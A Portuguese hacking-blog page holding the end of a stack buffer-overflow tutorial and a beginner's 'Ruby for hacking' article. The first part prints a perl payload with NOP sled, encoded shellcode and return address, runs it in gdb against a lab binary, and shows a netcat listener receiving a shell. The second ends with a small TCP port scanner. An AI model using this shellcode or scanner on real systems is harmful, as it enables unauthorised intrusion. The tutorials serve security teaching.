´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`


Agora vamos rodar o programa usando nossa payload como argumento:


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff\xbf"'`

Agora vamos voltar ao netcat, o qual deixamos escutando na porta 9999:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...
192.168.0.6: inverse host lookup failed: No address associated with name
connect to [192.168.0.6] from (UNKNOWN) [192.168.0.6] 59126

uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz GenuineIntel GNU/Linux


É isso ae, pessoal, qualquer duvida, postem aqui que eu respondo ;)

Escrito por: Fzero

Ruby for hacking

Introdução

Esse artigo não tem como intuito ensinar a programar, e sim mostrar pra vocês como é pratico trabalhar com ruby e criar aplicações diarias como de costume e/ou grande projetos, em geral achei uma ótima linguagem para o hacking, possui funções de sistema e não deixa a desejar na web, estudei ruby durante três dias e adorei, aconselho a todos verificarem e lerem a seguinte pagina da wikipedia, com a descrição da mesma.

Interpretador

Ruby é uma linguagem orientada a objetos interpretada de código livre, podem fazer o download em http://www.ruby-lang.org/en/downloads/ , possui versões para as principais plataformas, a IDE pode ser chamada na linha de comando digitando irb ou se preferirem podem usar o interpretador online no seguinte endereço http://tryruby.hobix.com/, lembrando que para programas mais complexos precisaremos utilizar a linha de comando passando como argumento o nome do programa, do mesmo modo que em perl python etc.

Input / Output

A sintaxe é simples, vejam

//puts “hello word”//

que retorna “hello word”, é como utilizar

//#include

int main() {

printf(”legal”);

}//

Em C… para input, ou seja : entrada de dados utilizamos gets

variavel = gets

A diferença com outras linguagens é que em ruby automaticamente é adicionado nova linha no final de cada valor de entrada e saida, por exemplo se eu digitar “legal” o valor retornado será “legal\n” .

Em C o seguinte codigo retorna “legalrox”

#include

int main () {

printf(”legal”);

printf(”rox”);

}/

O que é diferente em ruby, se fizessesmos dois puts do mesmo jeito, seria retornado “legal” e “rox” em linhas diferentes, codigo

puts “legal”

puts “rox”

Como podem observar, a diferença está nos simples detalhes que ao decorrer de muito trabalho
torna uma linguagem superior à outra em um determinado objetivo.

Operadores de fluxo

Como dito no wikipedia, a sintaxe é bem “enxuta”, vejam exemplo de if, elsif, else

if 0 > 1

puts “eita interpretador ta doido”

elsif 1 == 1

puts “ta normal…”

elsif 1 > 1

puts “ta rox d+”

else

puts “esse um é uma string e vai dar erro na comparação”

end

Tambem podemos usar unless

unless 1 < 0

puts “verdadeiro, porque unless é ao contrario de if, no caso unless quer dizer \”se não\”, no nosso exemplo se 1 não for menor que 0″

else

puts “é…1 é menor que 0″

end

Pros programadores de plantão reparem nessa parte

valor = 100

numero =

case valor

when 0..10

puts “entre 0 e 10″

when 10..20

puts “entre 10 e 20″

when 20..100

puts “entre 20 e 100″

else

puts “valor não está entre as comparações”

end

Pra quem não entendeu, o case pode ser usado para pegar ranges, e ainda guardar o valor retornado..

No nosso exemplo a variavel valor armazena o valor 100, a variavel numero pega todo o bloco e guarda o resultado dele, os when são para comparar ranges… foi retornado “entre 1 e 100” porque valor está entre 1 e 100.

Loops

Vamos começar pelo while

i = 1

while i < 10

puts i

i += 1

end

retorna :

1

.

.

.

9

For já é mais interessante, achei ele melhor que em outras linguagens, vejam

for i in 0..5

puts i

end

retorna :

0

1

2

3

4

5

Reparem que dois pontos, retorna seis valores, por causa do 0, se se usarmos tres pontos, retornaria apenas o numero exato de valores passado para a função, exemplo

for i in 0…5

puts i

end

retorna :

0

1

2

3

4

for em array

a = ['nascer', 'crescer', 'morrer']

for id in a

puts id

end

retorna :

nascer

crescer

morrer

for com uma faixa de caracteres

for letras in ‘a’..’z’

puts letras

end

retorna :

a

.

.

.

z

Obs : existem varios outros operadadores que podem ser encontrados na documentação do ruby

Tratamento de erros

Para tratar erros, utilizamos o bloco begin/end e rescue, observe o exemplo

begin

i = 1

j = ‘1′

dois = i + j

rescue

puts “ocorreu um erro, impossivel completar operação”

end

O que aconteceu no exemplo acima é que não podemos somar um fixnum com uma string, então ocorre o erro “TypeError”, se fosse pra tratar um erro especifico, deveriamos usar o seguinte

begin

i = 1

j = ‘1′

dois = i + j

rescue TypeError

puts “ocorreu um erro, impossivel completar operação”

end

Observem na diferença de rescue TypeError.
Podemos ter varios rescues tratando erros especificos, e um default que trate todos, exemplo

begin

i = 1

j = ‘1′

dois = i + j

rescue TypeError

puts “TypeError”

rescue

puts “ocorreu um erro, impossivel completar operação”

end

Quando o interpretador encontra um erro, ele pula pro primeiro rescue e continua assim até encontrar um rescue correspondente, depois de encontrar ele continua lendo o bloco, por exemplo

begin

i = 1

j = ‘1′

dois = i + j

rescue TypeError

puts “rox”

puts “legal”

rescue

puts “ocorreu um erro, impossivel completar operação”

end

No exemplo acima tambem será mostrado “legal” porque o rescue foi encontrado antes do rescue default, se quisessemos que ele saisse do bloco após encontrar um rescue, deveriamos utilizar self.exit, deixo à vocês um desafio que irao adorar, já que até agora nao falei da melhor parte:

Basta usarmos “comando.” e apertar table duas vezes, vai aparecer a lista dos atributos do mesmo, podem procurar o que melhor lhes sirva, vale lembrar que o nome do bloco principal é main, então podemos utilizar main como comando pra saber os atributos dele, ou self para se referir ao bloco que está sendo executado.

Obs : o interpretador online não disponibiliza a lista de propriedade dos comandos.

Funções

Mostrarei o basico aqui, observe bem

def mostrar(a)

puts a

end

a = “legal”

mostrar(a)

def é uma função basicamente, no exemplo acima definimos mostrar que pega a variavel \\passada como referencia e usa puts pra mostra-la.

Podemos passar multiplas variaveis, como no exemplo abaixo

def mostrar(a,b)

puts a

puts b

end

a = “legal”

b = “maneiro”

mostrar(a,b)

retorna :

legal

maneiro

Como em outras linguagens, podemos tambem deixar uma variavel como sendo default caso não seja passado todos argumentos, exemplo

def mostrar(a, b=”demais”)

puts a + b

end

a = “legal”

mostrar(a)

retorna :

legal demais

Se a variavel b não fosse default retornaria “ArgumentError: wrong number of arguments (1 for 2)” porque não foram passada todas variaveis necessaria pra função.

Sockets

Para sockets precisamos usar uma biblioteca ( socket ), podemos chama-la utilizando

require ’socket’

É muito simples utiliza-los, podem encontrar maiores informações em http://www.ruby-doc.org/docs/ProgrammingRuby/html/lib_network.html

Segue um exemplo abaixo de portscan feito com 20 linhas…

require ’socket’

include Socket::Constants

def Con(a)

socket = Socket.new( AF_INET, SOCK_STREAM, 0 )

sockaddr = Socket.pack_sockaddr_in(a, ARGV[0])

begin

socket.connect( sockaddr )

rescue Errno::ECONNREFUSED, Errno::ETIMEDOUT

$result = “Porta #{a} fexada”

end

if $result != “Porta #{a} fexada”

puts “Porta #{a} aberta”

else

puts $result

end

end

if ARGV.length > 2

for a in ARGV[1]..ARGV[2]

Con(a)

end

else

puts “ex : DharmaScan www.motdlabs.net 1 100″

end

Reparem que inclui tratamento de erros…

Bom é isso, estamos com muito pouco tempo e nao dá pra criar grandes artigos, porem espero que os membros consigam abrir os olhos quanto à ‘novas’ linguagens que desempenham o papel de outras muito melhor no hacking, é claro que nao somos donos da verdade, por isso recomendamos a todos estudarem ruby e tirarem suas proprias conclusoes

Até mais

Por: Dharma Crew – branco